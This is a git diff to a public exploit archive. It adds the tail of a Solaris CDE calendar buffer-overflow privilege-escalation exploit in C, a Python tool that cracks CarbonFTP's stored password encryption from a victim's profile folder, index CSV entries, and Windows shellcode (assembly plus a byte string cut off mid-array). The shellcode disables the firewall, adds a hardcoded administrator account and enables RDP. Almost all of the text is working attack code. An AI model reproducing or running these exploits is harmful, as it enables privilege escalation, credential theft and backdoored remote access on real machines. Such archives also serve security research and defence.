+ memset(payload, '\x90', PAYSIZE);
+ payload[PAYSIZE - 1] = 0x0;
+ memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));
+
+ /* fill the envp, keeping padding */
+ add_env(payload);
+ add_env("HOME=/tmp");
+ add_env(NULL);
+
+ /* calculate the payload address */
+ payaddr = sb - OFFSET;
+
+ /* prepare the evil palette name */
+ memset(buf, 'A', sizeof(buf));
+ buf[sizeof(buf) - 1] = 0x0;
+
+ /* fill with function address in ld.so.1, saved eip, and arguments */
+ for (i = 0; i < BUFSIZE - 16; i += 4) {
+ set_val(buf, i, ret); /* strcpy */
+ set_val(buf, i += 4, rwx_mem); /* saved eip */
+ set_val(buf, i += 4, rwx_mem); /* 1st argument */
+ set_val(buf, i += 4, payaddr); /* 2nd argument */
+ }
+
+ /* print some output */
+ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
+ fprintf(stderr, "Using SI_HOSTNAME\t: %s\n", hostname);
+ fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
+ fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
+ fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
+ fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
+
+ /* create the evil calendar file */
+ fprintf(stderr, "Preparing the evil calendar file... ");
+ snprintf(cmd, sizeof(cmd), "%s -a -c hax0r@%s", ADMIN, hostname);
+ if (system(cmd) == -1) {
+ perror("Error creating calendar file");
+ exit(1);
+ }
+ if (chmod("/usr/spool/calendar/callog.hax0r", 0660) == -1) {
+ perror("Error creating calendar file");
+ exit(1);
+ }
+
+ /* prepare the evil calendar file (badchars currently not handled) */
+ fp = fopen("/usr/spool/calendar/callog.hax0r", "w");
+ if (!fp) {
+ perror("Error preparing calendar file");
+ exit(1);
+ }
+ fprintf(fp, "Version: 4\n(calendarattributes "
+ "(\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\","
+ "\"10:access_list\",\"world:2\")\n");
+ /* buffer overflow in calendar name */
+ fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
+ "\"5:string\",\"%s\")\n", buf);
+ fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
+ "\"6:user\",\"fnord\")\n)");
+ /* buffer overflow in calendar owner */
+ /*
+ fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
+ "\"5:string\",\"hax0r\")\n");
+ fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
+ "\"6:user\",\"%s\")\n)", buf);
+ */
+ fclose(fp);
+
+ fprintf(stderr, "Done.\n");
+
+ /* run the vulnerable program */
+ fprintf(stderr, "Exploiting... Please answer \"n\" when prompted.\n");
+ execve(VULN, arg, env);
+ perror("execve");
+ exit(0);
+}
+
+/*
+ * add_env(): add a variable to envp and pad if needed
+ */
+int add_env(char *string)
+{
+ int i;
+
+ /* null termination */
+ if (!string) {
+ env[env_pos] = NULL;
+ return env_len;
+ }
+
+ /* add the variable to envp */
+ env[env_pos] = string;
+ env_len += strlen(string) + 1;
+ env_pos++;
+
+ /* pad the envp using zeroes */
+ if ((strlen(string) + 1) % 4)
+ for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
+ env[env_pos] = string + strlen(string);
+ env_len++;
+ }
+
+ return env_len;
+}
+
+/*
+ * check_zero(): check an address for the presence of a 0x00
+ */
+void check_zero(int addr, char *pattern)
+{
+ if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
+ !(addr & 0xff000000)) {
+ fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
+ exit(1);
+ }
+}
+
+/*
+ * search_ldso(): search for a symbol inside ld.so.1
+ */
+int search_ldso(char *sym)
+{
+ int addr;
+ void *handle;
+ Link_map *lm;
+
+ /* open the executable object file */
+ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
+ perror("dlopen");
+ exit(1);
+ }
+
+ /* get dynamic load information */
+ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
+ perror("dlinfo");
+ exit(1);
+ }
+
+ /* search for the address of the symbol */
+ if ((addr = (int)dlsym(handle, sym)) == NULL) {
+ fprintf(stderr, "Sorry, function %s() not found\n", sym);
+ exit(1);
+ }
+
+ /* close the executable object file */
+ dlclose(handle);
+
+ check_zero(addr - 4, sym);
+ return addr;
+}
+
+/*
+ * search_rwx_mem(): search for an RWX memory segment valid for all
+ * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
+ */
+int search_rwx_mem(void)
+{
+ int fd;
+ char tmp[16];
+ prmap_t map;
+ int addr = 0, addr_old;
+
+ /* open the proc filesystem */
+ sprintf(tmp,"/proc/%d/map", (int)getpid());
+ if ((fd = open(tmp, O_RDONLY)) < 0) {
+ fprintf(stderr, "Can't open %s\n", tmp);
+ exit(1);
+ }
+
+ /* search for the last RWX memory segment before stack (last - 1) */
+ while (read(fd, &map, sizeof(map)))
+ if (map.pr_vaddr)
+ if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
+ addr_old = addr;
+ addr = map.pr_vaddr;
+ }
+ close(fd);
+
+ /* add 4 to the exact address NULL bytes */
+ if (!(addr_old & 0xff))
+ addr_old |= 0x04;
+ if (!(addr_old & 0xff00))
+ addr_old |= 0x0400;
+
+ return addr_old;
+}
+
+/*
+ * set_val(): copy a dword inside a buffer (little endian)
+ */
+void set_val(char *buf, int pos, int val)
+{
+ buf[pos] = (val & 0x000000ff);
+ buf[pos + 1] = (val & 0x0000ff00) >> 8;
+ buf[pos + 2] = (val & 0x00ff0000) >> 16;
+ buf[pos + 3] = (val & 0xff000000) >> 24;
+}
\ No newline at end of file
diff --git a/exploits/windows/remote/48363.py b/exploits/windows/remote/48363.py
new file mode 100755
index 000000000..2f30aa3ce
--- /dev/null
+++ b/exploits/windows/remote/48363.py
@@ -0,0 +1,241 @@
+# Title: Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption
+# Date: 2020-04-20
+# Author: hyp3rlinx
+# Vendor:
+# CVE: CVE-2020-6857
+
+import time, string, sys, argparse, os, codecs
+
+#Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version.
+#This should be compatible for Python 2 and 3 versions now, tested successfully.
+#Sample test password
+#LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947
+
+key="97F" #2431 in decimal, the weak hardcoded encryption key within the vuln program.
+chunk_sz=5 #number of bytes we must decrypt the password by.
+
+#Password is stored here:
+#C:\Users\\AppData\Roaming\Neowise\CarbonFTPProjects\.CFTP
+
+#Neowise CarbonFTP v1.4
+#Insecure Proprietary Password Encryption
+#By John Page (aka hyp3rlinx)
+#Apparition Security
+#===================================================
+
+def carbonftp_conf(conf_file):
+ p=""
+ pipe=-1
+ passwd=""
+ lst_of_passwds=[]
+ try:
+ for p in conf_file:
+ idx = p.find("Password=STRING|")
+ if idx != -1:
+ pipe = p.find("|")
+ if pipe != -1:
+ passwd = p[pipe + 2: -2]
+ print(" Password found: "+ passwd)
+ lst_of_passwds.append(passwd)
+ except Exception as e:
+ print(str(e))
+ return lst_of_passwds
+
+
+def reorder(lst):
+ k=1
+ j=0
+ for n in range(len(lst)):
+ k+=1
+ j+=1
+ try:
+ tmp = lst[n+k]
+ a = lst[n+j]
+ lst[n+j] = tmp
+ lst[n+k] = a
+ except Exception as e:
+ pass
+ return ''.join(lst)
+
+
+def dec2hex(dec):
+ tmp = str(hex(int(dec)))
+ return str(tmp[2:])
+
+
+#Updated for Python version compatibility.
+def hex2ascii(h):
+ h=h.strip()
+ passwd=""
+ try:
+ passwd = codecs.decode(h, "hex").decode("ascii")
+ except Exception as e:
+ print("[!] In hex2ascii(), not a valid hex string.")
+ exit()
+ return passwd
+
+
+def chunk_passwd(passwd_lst):
+ lst = []
+ for passwd in passwd_lst:
+ while passwd:
+ lst.append(passwd[:chunk_sz])
+ passwd = passwd[chunk_sz:]
+ return lst
+
+
+def strip_non_printable_char(str):
+ return ''.join([x for x in str if ord(x) > 31 or ord(x)==9])
+
+cnt = 0
+passwd_str=""
+def deob(c):
+
+ global cnt, passwd_str
+
+ tmp=""
+
+ try:
+ tmp = int(c) - int(key, 16)
+ tmp = dec2hex(tmp)
+ except Exception as e:
+ print("[!] Not a valid CarbonFTP encrypted password.")
+ exit()
+
+ b=""
+ a=""
+
+ #Seems we can delete the second char as its most always junk.
+ if cnt!=1:
+ a = tmp[:2]
+ cnt+=1
+ else:
+ b = tmp[:4]
+
+ passwd_str += strip_non_printable_char(hex2ascii(a + b))
+ hex_passwd_lst = list(passwd_str)
+ return hex_passwd_lst
+
+
+def no_unique_chars(lst):
+ c=0
+ k=1
+ j=0
+ for i in range(len(lst)):
+ k+=1
+ j+=1
+ try:
+ a = lst[i]
+ b = lst[i+1]
+ if a != b:
+ c+=1
+ elif c==0:
+ print("[!] Possible one char password?: " +str(lst[0]))
+ return lst[0]
+ except Exception as e:
+ pass
+ return False
+
+
+def decryptor(result_lst):
+
+ global passwd_str, sz
+
+ print(" Decrypting ... \n")
+ for i in result_lst:
+ print("[-] "+i)
+ time.sleep(0.1)
+ lst = deob(i)
+
+ #Re-order chars to correct sequence using custom swap function (reorder).
+ reordered_pass = reorder(lst)
+ sz = len(reordered_pass)
+
+ #Flag possible single char password.
+ no_unique_chars(lst)
+
+ print("[+] PASSWORD LENGTH: " + str(sz))
+ if sz == 9:
+ return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " + reordered_pass[:-3] + " | " + reordered_pass[:-4] + " | " +
+ reordered_pass[:-5] +" | " + reordered_pass[:-6] + " | "+ reordered_pass[:-7] + " | " + reordered_pass)
+
+ #Shorter passwords less then nine chars will have several candidates
+ #as they get padded with repeating chars so we return those.
+
+ passwd_str=""
+ return reordered_pass
+
+
+def display_cracked_passwd(sz, passwd):
+ if sz==9:
+ print("[*] PASSWORD CANDIDATES: "+ passwd + "\n")
+ else:
+ print("[*] DECRYPTED PASSWORD: "+passwd + "\n")
+
+
+def parse_args():
+ parser = argparse.ArgumentParser()
+ parser.add_argument("-u", "--user", help="Username to crack a directory of Carbon .CFTP password files")
+ parser.add_argument("-p", "--encrypted_password", help="Crack a single encrypted password")
+ return parser.parse_args()
+
+
+def main(args):
+
+ global passwd_str, sz
+ victim=""
+
+ if args.user and args.encrypted_password:
+ print("[!] Supply a victims username -u or single encrypted password -p, not both.")
+ exit()
+
+ print("[+] Neowise CarbonFTP v1.4")
+ time.sleep(0.1)
+ print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption")
+ time.sleep(0.1)
+ print("[+] Version 2 Exploit fixed for Python 3 compatibility")
+ time.sleep(0.1)
+ print("[+] Discovered and cracked by hyp3rlinx")
+ time.sleep(0.1)
+ print("[+] ApparitionSec\n")
+ time.sleep(1)
+
+ #Crack a dir of carbonFTP conf files containing encrypted passwords -u flag.
+ if args.user:
+ victim = args.user
+ os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")
+ dir_lst = os.listdir(".")
+ for c in dir_lst:
+ f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r")
+ #Get encrypted password from conf file
+ passwd_enc = carbonftp_conf(f)
+ #Break up into 5 byte chunks as processed by the proprietary decryption routine.
+ result_lst = chunk_passwd(passwd_enc)
+ #Decrypt the 5 byte chunks and reassemble to the cleartext password.
+ cracked_passwd = decryptor(result_lst)
+ #Print cracked password or candidates.
+ display_cracked_passwd(sz, cracked_passwd)
+ time.sleep(0.3)
+ passwd_str=""
+ f.close()
+
+
+ #Crack a single password -p flag.
+ if args.encrypted_password:
+ passwd_to_crack_lst = []
+ passwd_to_crack_lst.append(args.encrypted_password)
+ result = chunk_passwd(passwd_to_crack_lst)
+ #Print cracked password or candidates.
+ cracked_passwd = decryptor(result)
+ display_cracked_passwd(sz, cracked_passwd)
+
+
+if __name__=="__main__":
+
+ parser = argparse.ArgumentParser()
+
+ if len(sys.argv)==1:
+ parser.print_help(sys.stderr)
+ exit()
+
+ main(parse_args())
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index d9e162f6a..edc85f820 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -11036,6 +11036,7 @@ id,file,description,date,author,type,platform,port
48350,exploits/windows/local/48350.py,"Nsauditor 3.2.1.0 - Buffer Overflow (SEH+ASLR bypass (3 bytes overwrite))",2020-04-20,Cervoise,local,windows,
48351,exploits/windows/local/48351.py,"Rubo DICOM Viewer 2.0 - Buffer Overflow (SEH)",2020-04-20,bzyo,local,windows,
48352,exploits/windows/local/48352.txt,"Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path",2020-04-20,boku,local,windows,
+48359,exploits/solaris/local/48359.c,"Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation",2020-04-21,"Marco Ivaldi",local,solaris,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -18108,7 +18109,8 @@ id,file,description,date,author,type,platform,port
48338,exploits/multiple/remote/48338.rb,"Apache Solr - Remote Code Execution via Velocity Template (Metasploit)",2020-04-16,Metasploit,remote,multiple,
48343,exploits/linux/remote/48343.rb,"Nexus Repository Manager - Java EL Injection RCE (Metasploit)",2020-04-17,Metasploit,remote,linux,
48353,exploits/linux/remote/48353.rb,"Unraid 6.8.0 - Auth Bypass PHP Code Execution (Metasploit)",2020-04-20,Metasploit,remote,linux,
-6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
+48363,exploits/windows/remote/48363.py,"Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption",2020-04-21,hyp3rlinx,remote,windows,
+6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
53,exploits/cgi/webapps/53.c,"CCBILL CGI - 'ccbillx.c' 'whereami.cgi' Remote Code Execution",2003-07-10,knight420,webapps,cgi,
@@ -42591,3 +42593,10 @@ id,file,description,date,author,type,platform,port
48342,exploits/hardware/webapps/48342.txt,"Cisco IP Phone 11.7 - Denial of service (PoC)",2020-04-17,"Jacob Baines",webapps,hardware,
48345,exploits/php/webapps/48345.txt,"Centreon 19.10.5 - 'id' SQL Injection",2020-04-20,"Basim Alabdullah",webapps,php,
48348,exploits/php/webapps/48348.txt,"Fork CMS 5.8.0 - Persistent Cross-Site Scripting",2020-04-20,Vulnerability-Lab,webapps,php,
+48354,exploits/php/webapps/48354.txt,"CSZ CMS 1.2.7 - Persistent Cross-Site Scripting",2020-04-21,"Metin Yunus Kandemir",webapps,php,
+48356,exploits/php/webapps/48356.txt,"PMB 5.6 - 'logid' SQL Injection",2020-04-21,41-trk,webapps,php,
+48357,exploits/php/webapps/48357.txt,"CSZ CMS 1.2.7 - 'title' HTML Injection",2020-04-21,"Metin Yunus Kandemir",webapps,php,
+48358,exploits/hardware/webapps/48358.py,"IQrouter 3.3.1 Firmware - Remote Code Execution",2020-04-21,drakylar,webapps,hardware,
+48360,exploits/json/webapps/48360.txt,"NSClient++ 0.5.2.35 - Authenticated Remote Code Execution",2020-04-21,kindredsec,webapps,json,
+48361,exploits/php/webapps/48361.txt,"jizhi CMS 1.6.7 - Arbitrary File Download",2020-04-21,jizhicms,webapps,php,
+48362,exploits/hardware/webapps/48362.txt,"P5 FNIP-8x16A FNIP-4xSH 1.0.20 - Cross-Site Request Forgery (Add Admin)",2020-04-21,LiquidWorm,webapps,hardware,
diff --git a/files_shellcodes.csv b/files_shellcodes.csv
index 37f30a06b..f62afe4be 100644
--- a/files_shellcodes.csv
+++ b/files_shellcodes.csv
@@ -1019,3 +1019,4 @@ id,file,description,date,author,type,platform
48229,shellcodes/windows/48229.txt,"Windows/x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes)",2020-03-18,boku,shellcode,windows
48243,shellcodes/linux/48243.txt,"Linux\x86 - 'reboot' polymorphic Shellcode (26 bytes)",2020-03-23,Upayan,shellcode,linux
48252,shellcodes/windows_x86-64/48252.txt,"Windows/x64 - WinExec Add-Admin Dynamic Null-Free Shellcode (210 Bytes)",2020-03-25,boku,shellcode,windows_x86-64
+48355,shellcodes/windows/48355.c,"Windows/x86 - MSVCRT System + Dynamic Null-free + Add RDP Admin + Disable Firewall + Enable RDP Shellcode (644 Bytes)",2020-04-21,boku,shellcode,windows
diff --git a/shellcodes/windows/48355.c b/shellcodes/windows/48355.c
new file mode 100644
index 000000000..c18b5ac02
--- /dev/null
+++ b/shellcodes/windows/48355.c
@@ -0,0 +1,285 @@
+## Exploit Title: Windows/x86 - MSVCRT System + Dynamic Null-free + Add RDP Admin + Disable Firewall + Enable RDP Shellcode (644 Bytes)
+## Exploit Author: Bobby Cooke
+## Date: 2020-04-20
+## Tested on: Windows 10 Home - 1909 (x86_64), Windows 10 Pro - 1909 (x86)
+## Description: Windows Shellcode that disables the Windows firewall, adds the user 'MajinBuu' with password 'TurnU2C@ndy!!' to the system, adds the user 'MajinBuu' to the local groups 'Administrators' & 'Remote Desktop Users', and then enables the RDP Service.
+## Commands used:
+## 'netsh firewall set opmode mode=DISABLE'
+## 'net user MajinBuu TurnU2C@ndy!! /add'
+## 'net localgroup Administrators MajinBuu /add'
+## 'net localgroup "Remote Desktop Users" MajinBuu /add'
+## 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
+
+; Create stack frame
+mov ebp, esp
+sub esp, 0x30
+
+; Find kernel32.dll base address
+ xor ebx, ebx
+ mov ebx, [fs:ebx+0x30] ; EBX = Address_of_PEB
+ mov ebx, [ebx+0xC] ; EBX = Address_of_LDR
+ mov ebx, [ebx+0x1C] ; EBX = 1st entry in InitOrderModuleList / ntdll.dll
+ mov ebx, [ebx] ; EBX = 2nd entry in InitOrderModuleList / kernelbase.dll
+ mov ebx, [ebx] ; EBX = 3rd entry in InitOrderModuleList / kernel32.dll
+ mov eax, [ebx+0x8] ; EAX = &kernel32.dll / Address of kernel32.dll
+ mov [ebp-0x4], eax ; [EBP-0x04] = &kernel32.dll
+
+; Find the address of the Export Table within kernel32.dll
+ mov ebx, [eax+0x3C] ; EBX = Offset NewEXEHeader
+ add ebx, eax ; EBX = &NewEXEHeader
+ mov ebx, [ebx+0x78] ; EBX = RVA ExportTable
+ add ebx, eax ; EBX = &ExportTable
+
+; Find the address of the Name Pointer Table within kernel32.dll
+ mov edi, [ebx+0x20] ; EDI = RVA NamePointerTable
+ add edi, eax ; EDI = &NamePointerTable
+ mov [ebp-0x8], edi ; save &NamePointerTable to stack frame
+
+; Find the address of the Ordinal Table
+ mov ecx, [ebx+0x24] ; ECX = RVA OrdinalTable
+ add ecx, eax ; ECX = &OrdinalTable
+ mov [ebp-0xC], ecx ; save &OrdinalTable to stack-frame
+
+; Find the address of the Address Table
+ mov edx, [ebx+0x1C] ; EDX = RVA AddressTable
+ add edx, eax ; EDX = &AddressTable
+ mov [ebp-0x10], edx ; save &AddressTable to stack-frame
+
+; Find Number of Functions within the Export Table of kernel32.dll
+ mov edx, [ebx+0x14] ; EDX = Number of Functions
+ mov [ebp-0x14], edx ; save value of Number of Functions to stack-frame
+
+jmp short functions
+
+findFunctionAddr:
+; Initialize the Counter to prevent infinite loop
+ xor eax, eax ; EAX = Counter = 0
+ mov edx, [ebp-0x14] ; get value of Number of Functions from stack-frame
+; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll
+searchLoop:
+ mov edi, [ebp-0x8] ; EDI = &NamePointerTable
+ mov esi, [ebp-0x18] ; ESI = Address of String for the Symbol we are searching for
+ xor ecx, ecx ; ECX = 0x00000000
+ cld ; clear direction flag - Process strings from left to right
+ mov edi, [edi+eax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
+ add edi, [ebp-0x4] ; EDI = &NameString = RVA NameString + &kernel32.dll
+ add cx, 0xF ; ECX = len("GetProcAddress,0x00") = 15 = 14 char + 1 Null
+ repe cmpsb ; compare first 8 bytes of [&NameString] to "GetProcAddress,0x00"
+ jz found ; If string at [&NameString] == "GetProcAddress,0x00", then end loop
+ inc eax ; else Counter ++
+ cmp eax, edx ; Does EAX == Number of Functions?
+ jb searchLoop ; If EAX != Number of Functions, then restart the loop
+
+found:
+; Find the address of GetProcAddress by using the last value of the Counter
+ mov ecx, [ebp-0xC] ; ECX = &OrdinalTable
+ mov edx, [ebp-0x10] ; EDX = &AddressTable
+ mov ax, [ecx + eax*2] ; AX = ordinalNumber = [&OrdinalTable + (Counter*2)]
+ mov eax, [edx + eax*4] ; EAX = RVA GetProcAddress = [&AddressTable + ordinalNumber]
+ add eax, [ebp-0x4] ; EAX = &GetProcAddress = RVA GetProcAddress + &kernel32.dll
+ ret
+
+functions:
+# Push string "GetProcAddress",0x00 onto the stack
+ xor eax, eax ; clear eax register
+ mov ax, 0x7373 ; AX is the lower 16-bits of the 32bit EAX Register
+ push eax ; ss : 73730000 // EAX = 0x00007373 // \x73=ASCII "s"
+ push 0x65726464 ; erdd : 65726464 // "GetProcAddress"
+ push 0x41636f72 ; Acor : 41636f72
+ push 0x50746547 ; PteG : 50746547
+ mov [ebp-0x18], esp ; save PTR to string at bottom of stack (ebp)
+ call findFunctionAddr ; After Return EAX will = &GetProcAddress
+# EAX = &GetProcAddress
+ mov [ebp-0x1C], eax ; save &GetProcAddress
+
+; Call GetProcAddress(&kernel32.dll, PTR "LoadLibraryA"0x00)
+ xor edx, edx ; EDX = 0x00000000
+ push edx ; null terminator for LoadLibraryA string
+ push 0x41797261 ; Ayra : 41797261 // "LoadLibraryA",0x00
+ push 0x7262694c ; rbiL : 7262694c
+ push 0x64616f4c ; daoL : 64616f4c
+ push esp ; $hModule -- push the address of the start of the string onto the stack
+ push dword [ebp-0x4] ; $lpProcName -- push base address of kernel32.dll to the stack
+ mov eax, [ebp-0x1C] ; Move the address of GetProcAddress into the EAX register
+ call eax ; Call the GetProcAddress Function.
+ mov [ebp-0x20], eax ; save Address of LoadLibraryA
+
+; Call LoadLibraryA(PTR "msvcrt")
+; push "msvcrt",0x00 to the stack and save pointer
+ xor eax, eax ; clear eax
+ mov ax, 0x7472 ; tr : 7472
+ push eax
+ push 0x6376736D ; cvsm : 6376736D
+ push esp ; push the pointer to the string
+ mov ebx, [ebp-0x20] ; LoadLibraryA Address to ebx register
+ call ebx ; call the LoadLibraryA Function to load msvcrt.dll
+ mov [ebp-0x24], eax ; save Address of msvcrt.dll
+
+; Call GetProcAddress(msvcrt.dll, "system")
+ xor edx, edx
+ mov dx, 0x6d65 ; me : 6d65
+ push edx
+ push 0x74737973 ; tsys : 74737973
+ push esp ; push pointer to string to stack for 'system'
+ push dword [ebp-0x24] ; push base address of msvcrt.dll to stack
+ mov eax, [ebp-0x1C] ; PTR to GetProcAddress to EAX
+ call eax ; GetProcAddress
+; EAX = WSAStartup Address
+ mov [ebp-0x28], eax ; save Address of msvcrt.system
+
+; 'netsh firewall set opmode mode=DISABLE'
+xor ecx, ecx
+mov cx, 0x454c ; EL : 454c
+push ecx
+push 0x42415349 ; BASI : 42415349
+push 0x443d6564 ; D=ed : 443d6564
+push 0x6f6d2065 ; om e : 6f6d2065
+push 0x646f6d70 ; domp : 646f6d70
+push 0x6f207465 ; o te : 6f207465
+push 0x73206c6c ; s ll : 73206c6c
+push 0x61776572 ; awer : 61776572
+push 0x69662068 ; if h : 69662068
+push 0x7374656e ; sten : 7374656e
+push esp ; push pointer to string
+mov eax, [ebp-0x28] ; msvcrt.system address
+call eax ; call system
+
+; 'net user MajinBuu TurnU2C@ndy!! /add'
+xor ecx, ecx
+push ecx
+push 0x6464612f ; dda/ : 6464612f
+push 0x20212179 ; !!y : 20212179
+push 0x646e4043 ; dn@C : 646e4043
+push 0x32556e72 ; 2Unr : 32556e72
+push 0x75542075 ; uT u : 75542075
+push 0x75426e69 ; uBni : 75426e69
+push 0x6a614d20 ; jaM : 6a614d20
+push 0x72657375 ; resu : 72657375
+push 0x2074656e ; ten : 2074656e
+push esp ; push pointer to string
+mov eax, [ebp-0x28] ; msvcrt.system address
+call eax ; call system
+
+; 'net localgroup Administrators MajinBuu /add'
+xor ecx, ecx
+push ecx
+mov ecx, 0x64646190 ; dda : 646461
+shr ecx, 8
+push ecx
+push 0x2f207575 ; / uu : 2f207575
+push 0x426e696a ; Bnij : 426e696a
+push 0x614d2073 ; aM s : 614d2073
+push 0x726f7461 ; rota : 726f7461
+push 0x72747369 ; rtsi : 72747369
+push 0x6e696d64 ; nimd : 6e696d64
+push 0x41207075 ; A pu : 41207075
+push 0x6f72676c ; orgl : 6f72676c
+push 0x61636f6c ; acol : 61636f6c
+push 0x2074656e ; ten : 2074656e
+push esp ; push pointer to string
+mov eax, [ebp-0x28] ; msvcrt.system address
+call eax ; call system
+
+; 'net localgroup "Remote Desktop Users" MajinBuu /add'
+xor ecx, ecx
+push ecx
+mov ecx, 0x64646190 ; dda : 646461
+shr ecx, 8
+push ecx
+push 0x2f207575 ; / uu : 2f207575
+push 0x426e696a ; Bnij : 426e696a
+push 0x614d2022 ; aM " : 614d2022
+push 0x73726573 ; sres : 73726573
+push 0x5520706f ; U po : 5520706f
+push 0x746b7365 ; tkse : 746b7365
+push 0x44206574 ; D et : 44206574
+push 0x6f6d6552 ; omeR : 6f6d6552
+push 0x22207075 ; " pu : 22207075
+push 0x6f72676c ; orgl : 6f72676c
+push 0x61636f6c ; acol : 61636f6c
+push 0x2074656e ; ten : 2074656e
+push esp ; push pointer to string
+mov eax, [ebp-0x28] ; msvcrt.system address
+call eax ; call system
+
+; 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
+xor ecx, ecx
+push ecx
+push 0x662f2030 ; f/ 0 : 662f2030
+push 0x20642f20 ; d/ : 20642f20
+push 0x44524f57 ; DROW : 44524f57
+push 0x445f4745 ; D_GE : 445f4745
+push 0x5220742f ; R t/ : 5220742f
+push 0x20736e6f ; sno : 20736e6f
+push 0x69746365 ; itce : 69746365
+push 0x6e6e6f43 ; nnoC : 6e6e6f43
+push 0x5354796e ; STyn : 5354796e
+push 0x65446620 ; eDf : 65446620
+push 0x762f2022 ; v/ " : 762f2022
+push 0x72657672 ; revr : 72657672
+push 0x6553206c ; eS l : 6553206c
+push 0x616e696d ; anim : 616e696d
+push 0x7265545c ; reT\ : 7265545c
+push 0x6c6f7274 ; lort : 6c6f7274
+push 0x6e6f435c ; noC\ : 6e6f435c
+push 0x7465536c ; teSl : 7465536c
+push 0x6f72746e ; ortn : 6f72746e
+push 0x6f43746e ; oCtn : 6f43746e
+push 0x65727275 ; erru : 65727275
+push 0x435c4d45 ; C\ME : 435c4d45
+push 0x54535953 ; TSYS : 54535953
+push 0x5c454e49 ; \ENI : 5c454e49
+push 0x4843414d ; HCAM : 4843414d
+push 0x5f4c4143 ; _LAC : 5f4c4143
+push 0x4f4c5f59 ; OL_Y : 4f4c5f59
+push 0x454b4822 ; EKH" : 454b4822
+push 0x20646461 ; dda : 20646461
+push 0x20676572 ; ger : 20676572
+push esp ; push pointer to string
+mov eax, [ebp-0x28] ; msvcrt.system address
+call eax ; call system
+
+
+######################################################################################
+#include
+#include
+
+char code[] = \
+"\x89\xe5\x83\xec\x30\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x1b"
+"\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7"
+"\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53"
+"\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\xe8\x31\xc9\xfc\x8b"
+"\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x0f\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4"
+"\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\x31\xc0\x66\xb8\x73\x73\x50"
+"\x68\x64\x64\x72\x65\x68\x72\x6f\x63\x41\x68\x47\x65\x74\x50\x89\x65\xe8\xe8\xb0\xff"
+"\xff\xff\x89\x45\xe4\x31\xd2\x52\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f"
+"\x61\x64\x54\xff\x75\xfc\x8b\x45\xe4\xff\xd0\x89\x45\xe0\x31\xc0\x66\xb8\x72\x74\x50"
+"\x68\x6d\x73\x76\x63\x54\x8b\x5d\xe0\xff\xd3\x89\x45\xdc\x31\xd2\x66\xba\x65\x6d\x52"
